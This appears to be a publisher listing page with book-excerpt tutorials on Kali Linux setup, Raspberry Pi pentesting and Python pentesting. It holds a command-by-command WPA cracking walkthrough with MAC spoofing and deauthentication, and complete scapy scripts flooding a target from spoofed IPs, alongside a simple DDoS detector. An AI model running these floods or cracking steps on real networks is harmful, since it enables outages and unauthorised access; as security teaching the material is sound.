steps: Let's start off by opening VMware Player from your desktop: VMware Player should open and display a graphical user interface: Click on Create a New Virtual Machine on the right: Select I will install the operating system later and click on Next. Select Linux and then Debian 7 from the drop-down menu: Click on Next to continue. Type Kali Linux for the virtual machine name. Browse for the Kali Linux ISO file that was downloaded earlier then click on Next. Change the disk size from 25 GB to 50 GB and then click on Next: Click on Finish: Kali Linux should now be displaying in your VMware Player library. From here, you can click on Customize Hardware... to increase the RAM or hard disk space, or change the network adapters according to your system's hardware. Click on Play virtual machine: Click on Player at the top-left and then navigate to Removable Devices | CD/DVD IDE | Settings…: Check the box next to Connected, Select Use ISO image file, browse for the Kali Linux ISO, then click on OK. Click on Restart VM at the bottom of the screen or click on Player, then navigate to Power | Restart Guest; the following screen appears: After restarting the virtual machine, you should see the following: Select Live (686-pae) then press Enter It should boot into Kali Linux and take you to the desktop screen: Congratulations! You have successfully installed Kali Linux. Updating Kali Linux Before we can get started with any of the demonstrations in this book, we must update Kali Linux to help keep the software package up to date. Open VMware Player from your desktop. Select Kali Linux and click on the green arrow to boot it. Once Kali Linux has booted up, open a new Terminal window. Type sudo apt-get update and press Enter: Then type sudo apt-get upgrade and press Enter: You will be prompted to specify if you want to continue. Type y and press Enter: Repeat these commands until there are no more updates: sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade Congratulations! You have successfully updated Kali Linux! Summary This was just the introduction to help prepare you before we get deeper into advanced technical demonstrations and hands-on examples. We did our first hands-on work through Kali Linux to install and update it on VMware Player. Resources for Article: Further resources on this subject: Veil-Evasion [article] Penetration Testing and Setup [article] Wireless and Mobile Hacks [article]
Read more
  • 0
  • 0
  • 2173

article-image-penetration-testing
Packt
04 Feb 2015
15 min read
Save for later

Penetration Testing

Packt
04 Feb 2015
15 min read
In this article by Aamir Lakhani and Joseph Muniz, authors of the book Penetration Testing with Raspberry Pi, we will see the various LAN- and wireless-based attack scenarios, using tools found in Kali Linux that are optimized for a Raspberry Pi. These scenarios include scanning, analyzing and capturing network traffic. (For more resources related to this topic, see here.) The Raspberry Pi has limited performance capabilities due to its size and processing power. It is highly recommended that you test the following techniques in a lab prior to using a Raspberry Pi for a live penetration test. Network scanning Network reconnaissance is typically time-consuming, yet it is the most important step when performing a penetration test. The more you know about your target, the more likely it is that you will find the fastest and easiest path to success. The best practice is starting with reconnaissance methods that do not require you to interact with your target; however, you will need to make contact eventually. Upon making contact, you will need to identify any open ports on a target system as well as map out the environment to which it's connected. Once you breach a system, typically there are other networks that you can scan to gain deeper access to your target's network. One huge advantage of the Raspberry Pi is its size and mobility. Typically, Kali Linux is used from an attack system outside a target's network; however, tools such as PWNIE Express and small systems that run Kali Linux, such as a Raspberry Pi, can be placed inside a network and be remotely accessed. This gives an attacker a system inside the network, bypassing typical perimeter defenses while performing internal reconnaissance. This approach brings the obvious risks of having to physically place the system on the network as well as create a method to communicate with it remotely without being detected; however, if successful, this can be very effective. Let's look at a few popular methods to scan a target network. We'll continue forward assuming that you have established a foothold on a network and now want to understand the current environment that you have connected to. Nmap The most popular open source tool used to scan hosts and services on a network is Nmap (short for Network Mapper). Nmap's advanced features can detect different applications running on systems as well as offer services such as the OS fingerprinting features. Nmap can be very effective; however, it can also be easily detected unless used properly. We recommend using Nmap in very specific situations to avoid triggering a target's defense systems. For more information on how to use Nmap, visit http://nmap.org/. To use Nmap to scan a local network, open a terminal window and type nmap (target), for example, nmap www.somewebsite.com or nmap 192.168.1.2. There are many other commands that can be used to tune your scan. For example, you can tune how stealthy you want to be or specify to store the results in a particular location. The following screenshot shows the results after running Nmap against www.thesecurityblogger.com. Note that this is an example and is considered a noisy scan. If you simply type in either of the preceding two commands, it is most likely that your target will easily recognize that you are performing an Nmap scan. There are plenty of online resources available to learn how to master the various features for Nmap. Here is a reference list of popular nmap commands: nmap 192.168.1.0/24: This scans the entire class C range nmap -p <port ranges>: This scans specific ports nmap -sP 192.168.1.0/24: This scans the network/find servers and devices that are running nmap –iflist: This shows host interfaces and routes nmap –sV 192.168.1.1: This detects remote services' version numbers nmap –sS 192.168.1.1: This performs a stealthy TCP SYN scan nmap –sO 192.168.1.1: This scans for the IP protocol nmap -192.168.1.1 > output.txt: This saves the output from the scan to the text file nmap –sA 192.168.1.254: This checks whether the host is protected by a firewall nmap –PN 192.168.1.1: This scans the host when it is protected by a firewall nmap --reason 192.168.1.1: This displays the reason a port is in a particular state nmap --open 192.168.1.1: This only shows open or possibly open ports The Nmap GUI software Zenmap is not included in the Kali Linux ARM image. It is also not recommended over using the command line when running Kali Linux on a Raspberry Pi. Wireless security Another attack vector that can be leveraged on a Raspberry Pi with a Wi-Fi adapter is targeting wireless devices such as mobile tablets and laptops. Scanning wireless networks, once they are connected, is similar to how scanning is done on a LAN; however, typically a layer of password decryption is required before you can connect to a wireless network. Also, wireless network identifier known as Service Set Identifier (SSID) might not be broadcasted but will still be visible when you use the right tools. This section will cover how to bypass wireless onboarding defenses so that you can access a target's Wi-Fi network and perform the penetration testing steps. Looking at a Raspberry Pi with Kali Linux, one of the use cases is hiding the system inside or near a target's network and launching wireless attacks remotely. The goal will be to enable the Raspberry Pi to access the network wirelessly and provide a remote connection back to the attacker. The attacker can be nearby using wireless to control the Raspberry Pi until it gains wireless access. Once on the network, a backdoor can be established so that the attacker can communicate with the Raspberry Pi from anywhere in the world and launch attacks. Cracking WPA/WPA2 A commonly found security protocol for protecting wireless networks is Wi-Fi Protected Access (WPA). WPA was later replaced by WPA2 and it will be probably what you will be up against when you perform a wireless penetration test. WPA and WPA2 can be cracked with Aircrack. Kali Linux includes the Aircrack suite, which is one of the most popular applications to break wireless security. Aircrack works by gathering packets seen on a wireless connection to either mathematically analyze the data to crack weaker protocols such as Wired Equivalent Privacy (WEP), or use brute force on the captured data with a wordlist. Cracking WPA/WPA2 can be done due to a weakness in the four-way handshake between the client and the access point. In summary, a client will authenticate to an access point and go through a four-step process. This is the time when the attacker is able to grab the password and use a brute force approach to identify it. The time-consuming part in this is based on how unique the network password is, how extensive your wordlist that will be used to brute force against the password is, and the processing power of the system. Unfortunately, the Raspberry Pi lacks the processing power and the hard drive space to accommodate large wordlist files. So, you might have to crack the password off-box with a tool such as John the Ripper. We recommend this route for most WPA2 hacking attempts. Here is the process to crack a WPA running on a Linksys WRVS4400N wireless router using a Raspberry Pi on-box options. We are using a WPA example so that the time-consuming part can be accomplished quickly with a Raspberry Pi. Most WPA2 cracking examples would take a very long time to run from a Raspberry Pi; however, the steps to be followed are the same to run on a faster off-box system. The steps are as follows: Start Aircrack by opening a terminal and typing airmon-ng; In Aircrack, we need to select the desired interface to use for the attack. In the previous screenshot, wlan0 is my Wi-Fi adapter. This is a USB wireless adapter that has been plugged into my Raspberry Pi. It is recommended that you hide your Mac address while cracking a foreign wireless network. Kali Linux ARM does not come with the program macchanger. So, you should download it by using the sudo apt-get install macchanger command in a terminal window. There are other ways to change your Mac address, but macchanger can provide a spoofed Mac so that your device looks like a common network device such as a printer. This can be an effective way to avoid detection. Next, we need to stop the interface used for the attack so that we can change our Mac address. So, for this example, we will be stopping wlan0 using the following commands: airmon-ng stop wlan0 ifconfig wlan0 down Now, let's change the Mac address of this interface to hide our true identity. Use macchanger to change your Mac to a random value and specify your interface. There are options to switch to another type of device; however, for this example, we will just leave it as a random Mac address using the following command: macchanger -r wlan0 Our random value is b0:43:3a:1f:3a:05 in the following screenshot. Macchanger shows our new Mac as unknown. Now that our Mac is spoofed, let's restart airmon-ng with the following command: airmon-ng start wlan0 We need to locate available wireless networks so that we can pick our target to attack. Use the following command to do this: airodump-ng wlan0 You should now see networks within range of your Raspberry Pi that can be targeted for this attack. To stop the search once you identify a target, press Ctrl + C. You should write down the Mac address, also known as BSSID, and the channel, also known as CH, used by your target network. The following screenshot shows that our target with ESSID HackMePlease is running WPA on CH 6: The next step is running airodump against the Mac address that you just copied. You will need the following things to make this work: The channel being used by the target The Mac address (BSSID) that you copied A name for the file to save your data Let's run the airodump command in the following manner: airodump-ng –c [channel number] –w [name of file] –-bssid [target ssid] wlan0 This will open a new terminal window after you execute it. Keep that window open. Open another terminal window that will be used to connect to the target's wireless network. We will run aireplay using the following command: aireplay-ng-deauth 1 –a [target's BSSID] –c [our BSSID] [interface] For our example, the command will look like the following: aireplay-ng -–deauth 1 –a 00:1C:10:F6:04:C3 –c 00:0f:56:bc:2c:d1 wlan0 The following screenshot shows the launch of the preceding command: You may not get the full handshake when you run this command. If that happens, you will have to wait for a live user to authenticate you to the access point prior to launching the attack. The output on using Aircrack may show you something like Opening [file].cap a few times followed by No valid WPA handshakes found, if you didn't create a full handshake and somebody hasn't authenticated you by that time. Do not proceed to the next step until you capture a full handshake. The last step is to run Aircrack against the captured data to crack the WPA key. Use the –w option to specify the location of a wordlist that will be used to scan against the captured data. You will use the .cap file that was created earlier during step 9, so we will use the name capturefile.cap in our example. We'll do this using the following command: Aircrack-ng –w ./wordlist.lst wirelessattack.cap The Kali Linux ARM image does not include a wordlist.lst file for cracking passwords. Usually, default wordlists are not good anyway. So, it is recommended that you use Google to find an extensive wordlist (see the next section on wordlists for more information). Make sure to be mindful of the hard drive space that you have on the Raspberry Pi, as many wordlists might be too large to be used directly from the Raspberry Pi. The best practice for running process-intensive steps such as brute forcing passwords is to do them off-box on a more powerful system. You will see Aircrack start and begin trying each password in the wordlist file against the captured data. This process could take a while depending on the password you are trying to break, the number of words in your list, and the processing speed of the Raspberry Pi. We found that it ranges from a few hours to days, as it's a very tedious process and is possibly better-suited for an external system with more horsepower than a Raspberry Pi. You may also find that your wordlist doesn't work after waiting a few days to sort through the entire wordlist file. If Aircrack doesn't open and start trying keys against the password, you either didn't specify the location of the .cap file or the location of the wordlist.lst file, or you don't have the captured handshake data. By default, the previous steps store files in the root directory. You can move your wordlist file in the root directory to mimic how we ran the commands in the previous steps since all our files are located in the root directory folder. You can verify this by typing ls to list the current directory files. Make sure that you list the correct directories of each file that are called by each command. If your attack is successful, you should see something like the following screenshot that shows the identified password as sunshine: It is a good idea to perform this last step on a remote machine. You can set up a FTP server and push your .cap files to that FTP server. You can learn more about setting up an FTP server at http://www.raspberrypi.org/forums/viewtopic.php?f=36&t=35661. Creating wordlists There are many sources and tools that can be used to develop a wordlist for your attack. One popular tool called Custom Wordlist Generator (CeWL), allows you to create your own custom dictionary file. This can be extremely useful if you are targeting individuals and want to scrape their blogs, LinkedIn, or other websites for commonly used words. CeWL doesn't come preinstalled on the Kali Linux ARM image, so you will have to download it using apt-get install cewl. To use CeWL, open a terminal window and put in your target website. CeWL will examine the URL and create a wordlist based on all the unique words it finds. In the following example, we are creating a wordlist of commonly used words found on the security blog www.drchaos.com using the following command: cewl www.drchaos.com -w drchaospasswords.txt The following screenshot shows the launch of the preceding command: You can also find many examples of popular wordlists used as dictionary files on the Internet. Here are a few wordlist examples sources that you can use; however, be sure to research Google for other options as well: https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.html https://wiki.skullsecurity.org/Passwords Here is a dictionary that one of the coauthors put together: http://www.drchaos.com/public_files/chaos-dictionary.lst.txt Capturing traffic on the network It is great to get access to a target network. However, typically the next step, once a foothold is established, is to start looking at the data. To do this, you will need a method to capture and view network packets. This means turning your Raspberry Pi into a remotely accessible network tap. Many of these tools could overload and crash your Raspberry Pi. Look out for our recommendations regarding when to use a tuning method to avoid this from happening. Tcpdump Tcpdump is a command line based packet analyzer. You can use tcpdump to intercept and display TCP/IP and other packets that are transmitted and seen attached by the system This means the Raspberry Pi must have access to the network traffic that you intend to view or using tcpdump won't provide you with any useful data. Tcpdump is not installed with the default Kali Linux ARM image, so you will have to install it using the sudo apt-get install tcpdump command. Once installed, you can run tcpdump by simply opening a terminal window and typing sudo tcpdump. The following screenshot shows the traffic flow visible to us after the launch of the preceding command: As the previous screenshot shows, there really isn't much to see if you don't have the proper traffic flowing through the Raspberry Pi. Basically, we're seeing our own traffic while being plugged into an 802.1X-enabled switch, which isn't interesting. Let's look at how to get other system's data through your Raspberry Pi. Running tcpdump consumes a lot of the Raspberry Pi's processing power. We found that this could crash the Raspberry Pi by itself or while using it with other applications. We recommend that you tune your data capture to avoid this from happening. Man-in-the-middle attacks One common method to capture sensitive information is by performing a man-in-the-middle attack. By definition, a man-in-the-middle attack is when an attacker makes independent connections with victims while actively eavesdropping on the communication. This is typically done between a host and the systems. For example, a popular method to capture passwords is to act as a middleman between login credentials passed by a user to a web server. Summary This article introduced us to the various attack scenarios of penetration testing used with the tools available in Kali Linux, over a Raspberry Pi. This article also gave us detailed description of tools like Nmap, CeWL, and tcpdump, which are used for network scanning, creating wordlists, and analyzing network traffic respectively. Resources for Article: Further resources on this subject: Testing Your Speed [Article] Creating a 3D world to roam in [Article] Making the Unit Very Mobile – Controlling the Movement of a Robot with Legs [Article]
Read more
  • 0
  • 0
  • 2619

article-image-pentesting-using-python
Packt
04 Feb 2015
22 min read
Save for later

Pentesting Using Python

Packt
04 Feb 2015
22 min read
 In this article by the author, Mohit, of the book, Python Penetration Testing Essentials, Penetration (pen) tester and hacker are similar terms. The difference is that penetration testers work for an organization to prevent hacking attempts, while hackers hack for any purpose such as fame, selling vulnerability for money, or to exploit vulnerability for personal enmity. Lots of well-trained hackers have got jobs in the information security field by hacking into a system and then informing the victim of the security bug(s) so that they might be fixed. A hacker is called a penetration tester when they work for an organization or company to secure its system. A pentester performs hacking attempts to break the network after getting legal approval from the client and then presents a report of their findings. To become an expert in pentesting, a person should have deep knowledge of the concepts of their technology.  (For more resources related to this topic, see here.) Introducing the scope of pentesting In simple words, penetration testing is to test the information security measures of a company. Information security measures entail a company's network, database, website, public-facing servers, security policies, and everything else specified by the client. At the end of the day, a pentester must present a detailed report of their findings such as weakness, vulnerability in the company's infrastructure, and the risk level of particular vulnerability, and provide solutions if possible. The need for pentesting There are several points that describe the significance of pentesting: Pentesting identifies the threats that might expose the confidentiality of an organization Expert pentesting provides assurance to the organization with a complete and detailed assessment of organizational security Pentesting assesses the network's efficiency by producing huge amount of traffic and scrutinizes the security of devices such as firewalls, routers, and switches Changing or upgrading the existing infrastructure of software, hardware, or network design might lead to vulnerabilities that can be detected by pentesting In today's world, potential threats are increasing significantly; pentesting is a proactive exercise to minimize the chance of being exploited Pentesting ensures whether suitable security policies are being followed or not Consider an example of a well-reputed e-commerce company that makes money from online business. A hacker or group of black hat hackers find a vulnerability in the company's website and hack it. The amount of loss the company will have to bear will be tremendous. Components to be tested An organization should conduct a risk assessment operation before pentesting; this will help identify the main threats such as misconfiguration or vulnerability in: Routers, switches, or gateways Public-facing systems; websites, DMZ, e-mail servers, and remote systems DNS, firewalls, proxy servers, FTP, and web servers Testing should be performed on all hardware and software components of a network security system. Qualities of a good pentester The following points describe the qualities of good pentester. They should: Choose a suitable set of tests and tools that balance cost and benefits Follow suitable procedures with proper planning and documentation Establish the scope for each penetration test, such as objectives, limitations, and the justification of procedures Be ready to show how to exploit the vulnerabilities State the potential risks and findings clearly in the final report and provide methods to mitigate the risk if possible Keep themselves updated at all times because technology is advancing rapidly A pentester tests the network using manual techniques or the relevant tools. There are lots of tools available in the market. Some of them are open source and some of them are highly expensive. With the help of programming, a programmer can make his own tools. By creating your own tools, you can clear your concepts and also perform more R&D. If you are interested in pentesting and want to make your own tools, then the Python programming language is the best, as extensive and freely available pentesting packages are available in Python, in addition to its ease of programming. This simplicity, along with the third-party libraries such as scapy and mechanize, reduces code size. In Python, to make a program, you don't need to define big classes such as Java. It's more productive to write code in Python than in C, and high-level libraries are easily available for virtually any imaginable task. If you know some programming in Python and are interested in pentesting this book is ideal for you. Defining the scope of pentesting Before we get into pentesting, the scope of pentesting should be defined. The following points should be taken into account while defining the scope: You should develop the scope of the project in consultation with the client. For example, if Bob (the client) wants to test the entire network infrastructure of the organization, then pentester Alice would define the scope of pentesting by taking this network into account. Alice will consult Bob on whether any sensitive or restricted areas should be included or not. You should take into account time, people, and money. You should profile the test boundaries on the basis of an agreement signed by the pentester and the client. Changes in business practice might affect the scope. For example, the addition of a subnet, new system component installations, the addition or modification of a web server, and so on, might change the scope of pentesting. The scope of pentesting is defined in two types of tests: A non-destructive test: This test is limited to finding and carrying out the tests without any potential risks. It performs the following actions: Scans and identifies the remote system for potential vulnerabilities Investigates and verifies the findings Maps the vulnerabilities with proper exploits Exploits the remote system with proper care to avoid disruption Provides a proof of concept Does not attempt a Denial-of-Service (DoS) attack A destructive test: This test can produce risks. It performs the following actions: Attempts DoS and buffer overflow attacks, which have the potential to bring down the system Approaches to pentesting There are three types of approaches to pentesting: Black-box pentesting follows non-deterministic approach of testing You will be given just a company name It is like hacking with the knowledge of an outside attacker There is no need of any prior knowledge of the system It is time consuming White-box pentesting follows deterministic approach of testing You will be given complete knowledge of the infrastructure that needs to be tested This is like working as a malicious employee who has ample knowledge of the company's infrastructure You will be provided information on the company's infrastructure, network type, company's policies, do's and don'ts, the IP address, and the IPS/IDS firewall Gray-box pentesting follows hybrid approach of black and white box testing The tester usually has limited information on the target network/system that is provided by the client to lower costs and decrease trial and error on the part of the pentester It performs the security assessment and testing internally Introducing Python scripting Before you start reading this book, you should know the basics of Python programming, such as the basic syntax, variable type, data type tuple, list dictionary, functions, strings, methods, and so on. Two versions, 3.4 and 2.7.8, are available at python.org/downloads/. In this book, all experiments and demonstration have been done in Python 2.7.8 Version. If you use Linux OS such as Kali or BackTrack, then there will be no issue, because many programs, such as wireless sniffing, do not work on the Windows platform. Kali Linux also uses the 2.7 Version. If you love to work on Red Hat or CentOS, then this version is suitable for you. Most of the hackers choose this profession because they don't want to do programming. They want to use tools. However, without programming, a hacker cannot enhance his2 skills. Every time, they have to search the tools over the Internet. Believe me, after seeing its simplicity, you will love this language. Understanding the tests and tools you'll need To conduct scanning and sniffing pentesting, you will need a small network of attached devices. If you don't have a lab, you can make virtual machines in your computer. For wireless traffic analysis, you should have a wireless network. To conduct a web attack, you will need an Apache server running on the Linux platform. It will be a good idea to use CentOS or Red Hat Version 5 or 6 for the web server because this contains the RPM of Apache and PHP. For the Python script, we will use the Wireshark tool, which is open source and can be run on Windows as well as Linux platforms. Learning the common testing platforms with Python You will now perform pentesting; I hope you are well acquainted with networking fundamentals such as IP addresses, classful subnetting, classless subnetting, the meaning of ports, network addresses, and broadcast addresses. A pentester must be perfect in networking fundamentals as well as at least in one operating system; if you are thinking of using Linux, then you are on the right track. In this book, we will execute our programs on Windows as well as Linux. In this book, Windows, CentOS, and Kali Linux will be used. A hacker always loves to work on a Linux system. As it is free and open source, Kali Linux marks the rebirth of BackTrack and is like an arsenal of hacking tools. Kali Linux NetHunter is the first open source Android penetration testing platform for Nexus devices. However, some tools work on both Linux and Windows, but on Windows, you have to install those tools. I expect you to have knowledge of Linux. Now, it's time to work with networking on Python. Implementing a network sniffer by using Python Before learning about the implementation of a network sniffer, let's learn about a particular struct method: struct.pack(fmt, v1, v2, ...): This method returns a string that contains the values v1, v2, and so on, packed according to the given format struct.unpack(fmt, string): This method unpacks the string according to the given format Let's discuss the code: import struct ms= struct.pack('hhl', 1, 2, 3) print (ms) k= struct.unpack('hhl',ms) print k The output for the preceding code is as follows: G:PythonNetworkingnetwork>python str1.py ☺ ☻ ♥ (1, 2, 3) First, import the struct module, and then pack the integers 1, 2, and 3 in the hhl format. The packed values are like machine code. Values are unpacked using the same hhl format; here, h means a short integer and l means a long integer. More details are provided in the subsequent sections. Consider the situation of the client server model; let's illustrate it by means of an example. Run the struct1.py. file. The server-side code is as follows: import socket import struct host = "192.168.0.1" port = 12347 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) conn, addr = s.accept() print "connected by", addr msz= struct.pack('hhl', 1, 2, 3) conn.send(msz) conn.close() The entire code is the same as we have seen previously, with msz= struct.pack('hhl', 1, 2, 3) packing the message and conn.send(msz) sending the message. Run the unstruc.py file. The client-side code is as follows: import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12347 s.connect((host,port)) msg= s.recv(1024) print msg print struct.unpack('hhl',msg) s.close() The client-side code accepts the message and unpacks it in the given format. The output for the client-side code is as follows: C:network>python unstruc.py ☺ ☻ ♥ (1, 2, 3) The output for the server-side code is as follows: G:PythonNetworkingprogram>python struct1.py connected by ('192.168.0.11', 1417) Now, you must have a fair idea of how to pack and unpack the data. Format characters We have seen the format in the pack and unpack methods. In the following table, we have C Type and Python type columns. It denotes the conversion between C and Python types. The Standard size column refers to the size of the packed value in bytes. Format C Type Python type Standard size x pad byte no value   c char string of length 1 1 b signed char integer 1 B unsigned char integer 1 ? _Bool bool 1 h short integer 2 H unsigned short integer 2 i int integer 4 I unsigned int integer 4 l long integer 4 L unsigned long integer 4 q long long integer 8 Q unsigned long long integer 8 f float float 4 d double float 8 s char[] string   p char[] string   P void * integer   Let's check what will happen when one value is packed in different formats: >>> import struct >>> struct.pack('b',2) 'x02' >>> struct.pack('B',2) 'x02' >>> struct.pack('h',2) 'x02x00' We packed the number 2 in three different formats. From the preceding table, we know that b and B are 1 byte each, which means that they are the same size. However, h is 2 bytes. Now, let's use the long int, which is 8 bytes: >>> struct.pack('q',2) 'x02x00x00x00x00x00x00x00' If we work on a network, ! should be used in the following format. The ! is used to avoid the confusion of whether network bytes are little-endian or big-endian. For more information on big-endian and little endian, you can refer to the Wikipedia page on Endianness: >>> struct.pack('!q',2) 'x00x00x00x00x00x00x00x02' >>>  You can see the difference when using ! in the format. Before proceeding to sniffing, you should be aware of the following definitions: PF_PACKET: It operates at the device driver layer. The pcap library for Linux uses PF_PACKET sockets. To run this, you must be logged in as a root. If you want to send and receive messages at the most basic level, below the Internet protocol layer, then you need to use PF_PACKET. Raw socket: It does not care about the network layer stack and provides a shortcut to send and receive packets directly to the application. The following socket methods are used for byte-order conversion: socket.ntohl(x): This is the network to host long. It converts a 32-bit positive integer from the network to host the byte order. socket.ntohs(x): This is the network to host short. It converts a 16-bit positive integer from the network to host the byte order. socket.htonl(x): This is the host to network long. It converts a 32-bit positive integer from the host to the network byte order. socket.htons(x): This is the host to network short. It converts a 16-bit positive integer from the host to the network byte order. So, what is the significance of the preceding four methods? Consider a 16-bit number 0000000000000011. When you send this number from one computer to another computer, its order might get changed. The receiving computer might receive it in another form, such as 1100000000000000. These methods convert from your native byte order to the network byte order and back again. Now, let's look at the code to implement a network sniffer, which will work on three layers of the TCP/IP, that is, the physical layer (Ethernet), the Network layer (IP), and the TCP layer (port). Introducing DoS and DDoS In this section, we are going to discuss one of the most deadly attacks, called the Denial-of-Service attack. The aim of this attack is to consume machine or network resources, making it unavailable for the intended users. Generally, attackers use this attack when every other attack fails. This attack can be done at the data link, network, or application layer. Usually, a web server is the target for hackers. In a DoS attack, the attacker sends a huge number of requests to the web server, aiming to consume network bandwidth and machine memory. In a Distributed Denial-of-Service (DDoS) attack, the attacker sends a huge number of requests from different IPs. In order to carry out DDoS, the attacker can use Trojans or IP spoofing. In this section, we will carry out various experiments to complete our reports. Single IP single port In this attack, we send a huge number of packets to the web server using a single IP (which might be spoofed) and from a single source port number. This is a very low-level DoS attack, and this will test the web server's request-handling capacity. The following is the code of sisp.py: from scapy.all import * src = raw_input("Enter the Source IP ") target = raw_input("Enter the Target IP ") srcport = int(raw_input("Enter the Source Port ")) i=1 while True: IP1 = IP(src=src, dst=target) TCP1 = TCP(sport=srcport, dport=80) pkt = IP1 / TCP1 send(pkt,inter= .001) print "packet sent ", i i=i+1 I have used scapy to write this code, and I hope that you are familiar with this. The preceding code asks for three things, the source IP address, the destination IP address, and the source port address. Let's check the output on the attacker's machine:  Single IP with single port I have used a spoofed IP in order to hide my identity. You will have to send a huge number of packets to check the behavior of the web server. During the attack, try to open a website hosted on a web server. Irrespective of whether it works or not, write your findings in the reports. Let's check the output on the server side:  Wireshark output on the server This output shows that our packet was successfully sent to the server. Repeat this program with different sequence numbers. Single IP multiple port Now, in this attack, we use a single IP address but multiple ports. Here, I have written the code of the simp.py program: from scapy.all import *   src = raw_input("Enter the Source IP ") target = raw_input("Enter the Target IP ")   i=1 while True: for srcport in range(1,65535):    IP1 = IP(src=src, dst=target)    TCP1 = TCP(sport=srcport, dport=80)    pkt = IP1 / TCP1    send(pkt,inter= .0001)    print "packet sent ", i    i=i+1 I used the for loop for the ports Let's check the output of the attacker:  Packets from the attacker's machine The preceding screenshot shows that the packet was sent successfully. Now, check the output on the target machine:  Packets appearing in the target machine In the preceding screenshot, the rectangular box shows the port numbers. I will leave it to you to create multiple IP with a single port. Multiple IP multiple port In this section, we will discuss the multiple IP with multiple port addresses. In this attack, we use different IPs to send the packet to the target. Multiple IPs denote spoofed IPs. The following program will send a huge number of packets from spoofed IPs: import random from scapy.all import * target = raw_input("Enter the Target IP ")   i=1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = "." src = a+dot+b+dot+c+dot+d print src st = random.randint(1,1000) en = random.randint(1000,65535) loop_break = 0 for srcport in range(st,en):    IP1 = IP(src=src, dst=target)    TCP1 = TCP(sport=srcport, dport=80)    pkt = IP1 / TCP1    send(pkt,inter= .0001)    print "packet sent ", i    loop_break = loop_break+1    i=i+1    if loop_break ==50 :      break In the preceding code, we used the a, b, c, and d variables to store four random strings, ranging from 1 to 254. The src variable stores random IP addresses. Here, we have used the loop_break variable to break the for loop after 50 packets. It means 50 packets originate from one IP while the rest of the code is the same as the previous one. Let's check the output of the mimp.py program:  Multiple IP with multiple ports In the preceding screenshot, you can see that after packet 50, the IP addresses get changed. Let's check the output on the target machine:  The target machine's output on Wireshark Use several machines and execute this code. In the preceding screenshot, you can see that the machine replies to the source IP. This type of attack is very difficult to detect because it is very hard to distinguish whether the packets are coming from a valid host or a spoofed host. Detection of DDoS When I was pursuing my Masters of Engineering degree, my friend and I were working on a DDoS attack. This is a very serious attack and difficult to detect, where it is nearly impossible to guess whether the traffic is coming from a fake host or a real host. In a DoS attack, traffic comes from only one source so we can block that particular host. Based on certain assumptions, we can make rules to detect DDoS attacks. If the web server is running only traffic containing port 80, it should be allowed. Now, let's go through a very simple code to detect a DDoS attack. The program's name is DDOS_detect1.py: import socket import struct from datetime import datetime s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) dict = {} file_txt = open("dos.txt",'a') file_txt.writelines("**********") t1= str(datetime.now()) file_txt.writelines(t1) file_txt.writelines("**********") file_txt.writelines("n") print "Detection Start ......." D_val =10 D_val1 = D_val+10 while True:   pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "Source IP", IP if dict.has_key(IP):    dict[IP]=dict[IP]+1    print dict[IP]    if(dict[IP]>D_val) and (dict[IP]<D_val1) :        line = "DDOS Detected "      file_txt.writelines(line)      file_txt.writelines(IP)      file_txt.writelines("n")   else: dict[IP]=1 In the previous code, we used a sniffer to get the packet's source IP address. The file_txt = open("dos.txt",'a') statement opens a file in append mode, and this dos.txt file is used as a logfile to detect the DDoS attack. Whenever the program runs, the file_txt.writelines(t1) statement writes the current time. The D_val =10 variable is an assumption just for the demonstration of the program. The assumption is made by viewing the statistics of hits from a particular IP. Consider a case of a tutorial website. The hits from the college and school's IP would be more. If a huge number of requests come in from a new IP, then it might be a case of DoS. If the count of the incoming packets from one IP exceeds the D_val variable, then the IP is considered to be responsible for a DDoS attack. The D_val1 variable will be used later in the code to avoid redundancy. I hope you are familiar with the code before the if dict.has_key(IP): statement. This statement will check whether the key (IP address) exists in the dictionary or not. If the key exists in dict, then the dict[IP]=dict[IP]+1 statement increases the dict[IP] value by 1, which means that dict[IP] contains a count of packets that come from a particular IP. The if(dict[IP]>D_val) and (dict[IP]<D_val1) : statements are the criteria to detect and write results in the dos.txt file; if(dict[IP]>D_val) detects whether the incoming packet's count exceeds the D_val value or not. If it exceeds it, the subsequent statements will write the IP in dos.txt after getting new packets. To avoid redundancy, the (dict[IP]<D_val1) statement has been used. The upcoming statements will write the results in the dos.txt file. Run the program on a server and run mimp.py on the attacker's machine. The following screenshot shows the dos.txt file. Look at that file. It writes a single IP 9 times as we have mentioned D_val1 = D_val+10. You can change the D_val value to set the number of requests made by a particular IP. These depend on the old statistics of the website. I hope the preceding code will be useful for research purposes. Detecting a DDoS attack If you are a security researcher, the preceding program should be useful to you. You can modify the code such that only the packet that contains port 80 will be allowed. Summary In this article, we learned about penetration testing using Python. Also, we have learned about sniffing using Pyython script and client-side validation as well as how to bypass client-side validation. We also learned in which situations client-side validation is a good choice. We have gone through how to use Python to fill a form and send the parameter where the GET method has been used. As a penetration tester, you should know how parameter tampering affects a business. Four types of DoS attacks have been presented in this article. A single IP attack falls into the category of a DoS attack, and a Multiple IP attack falls into the category of a DDoS attack. This section is helpful not only for a pentester but also for researchers. Taking advantage of Python DDoS-detection scripts, you can modify the code and create larger code, which can trigger actions to control or mitigate the DDoS attack on the server. Resources for Article: Further resources on this subject: Veil-Evasion [article] Using the client as a pivot point [article] Penetration Testing and Setup [article]
Read more
  • 0
  • 0
  • 12153
article-image-open-source-intelligence
Packt
30 Dec 2014
30 min read
Save for later

Open Source Intelligence

Packt
30 Dec 2014
30 min read
